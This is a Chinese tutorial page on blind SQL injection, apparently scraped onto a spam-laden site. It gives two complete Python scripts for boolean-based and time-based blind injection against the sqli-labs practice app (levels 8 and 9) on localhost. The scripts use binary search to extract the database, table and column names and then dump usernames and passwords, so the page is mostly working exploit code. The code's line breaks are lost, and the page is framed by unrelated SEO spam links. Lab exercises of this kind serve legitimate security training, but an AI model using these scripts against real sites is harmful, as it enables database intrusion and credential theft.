当前位置: 首页 > news >正文

b2c商城网站厦门网站seo哪家好

b2c商城网站,厦门网站seo哪家好,小型企业网站开发价格,政府门户网站等保建设方案一、布尔盲注 布尔盲注(Boolean-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序不直接显示数据库查询结果的情况下,通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的…

一、布尔盲注

布尔盲注(Boolean-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序不直接显示数据库查询结果的情况下,通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的结果是否为真或假,进而推断出数据库中的具体信息。

案例为sqlilabs中的第八关,采用二分查找

python脚本:

import requests
def get_database(URL):# 获取数据库名称s = ""for i in range(1, 10):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "}  # 相当于第一个字符<={mid}条件判断为真res = requests.get(url=URL, params=payload)if "You are in" in res.text:high = midmid = (low + high) // 2else:low = mid + 1mid = (low + high) // 2s += chr(mid)print("数据库名称:" + s)def get_table(URL):# 获取表名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("表的名称:" + s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表的列:" + s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表具体数据:" + s)if __name__ == '__main__':URL = "http://127.0.0.1/sqlilabs/Less-8/index.php"get_database(URL)get_table(URL)get_column(URL)get_result(URL)

运行结果

二、时间盲注

时间盲注(Time-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序没有直接回显数据库查询结果的情况下,通过构造特定的SQL查询来推测数据库中的信息。这种方法依赖于数据库处理查询时产生的延迟响应来判断条件的真假。

案例为sqlilabs中的第九关,同样为二分查找

python脚本

import requests
import datetimedef get_database(URL):# 获取数据库名称s = ""for i in range(1, 10):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "}  # 相当于第一个字符<={mid}条件判断为真start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:high = midmid = (low + high) // 2else:low = mid + 1mid = (low + high) // 2s += chr(mid)print("数据库名称:" + s)def get_table(URL):# 获取表名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("表的名称:" + s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表的列:" + s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users中的具体数据:" + s)if __name__ == '__main__':URL = "http://127.0.0.1/sqlilabs/Less-9/index.php"# get_database(URL)get_table(URL)# get_column(URL)# get_result(URL)

运行结果:

http://www.hrbkazy.com/news/46551.html

相关文章:

  • 东莞php网站建设网站优化软件
  • 肇庆网站建设方案优化网站推广联盟
  • 做棋牌网站的步骤常见的网络营销方式
  • 做网站需要什么知识seo教程搜索引擎优化
  • 自己怎么做VIP视频解网站今日新闻最新
  • 顺德网站建设jinqiye护肤品营销策划方案
  • b2b独立站建站2024年的新闻时事热点论文
  • 南乐网站建设电话最新网络营销方式
  • 北京seo代理公司seo基础入门免费教程
  • 做网站 信科网站建设便宜免费刷推广链接的网站
  • 网站优化哪家好晚上免费b站软件
  • 十堰秦楚网 十堰新闻门户网站网店如何引流与推广
  • 网站建设mrd文档模板惠州seo推广外包
  • app应用网站源码深圳网络营销策划有限公司
  • 南京做网站询南京乐识怎么做网站教程
  • 优惠券网站开发哪家好自己怎么做网站推广
  • 网站建设费用推荐网络专业手机网站模板建站
  • 公司门户网站怎么做外贸网站制作公司
  • 朝阳网站建设公司搜索竞价
  • 网页设计个人网站怎么做百度联盟注册
  • oem网站建设源码现在最火的推广平台
  • 公司网站怎么建站最近发生的新闻大事
  • 株洲做网站的公司今日国内新闻大事件
  • 品牌网站建设熊掌号免费网站安全软件大全游戏
  • 电商网站开发模块今日时政新闻
  • 济南做网站得多少钱武汉seo全网营销
  • 宜宾市做网站多少钱济宁seo推广
  • 遵义网站制作小程序相关搜索优化软件
  • 网站制作的书籍网站关键词优化教程
  • 济南哪家公司可以做网站百度排行榜小说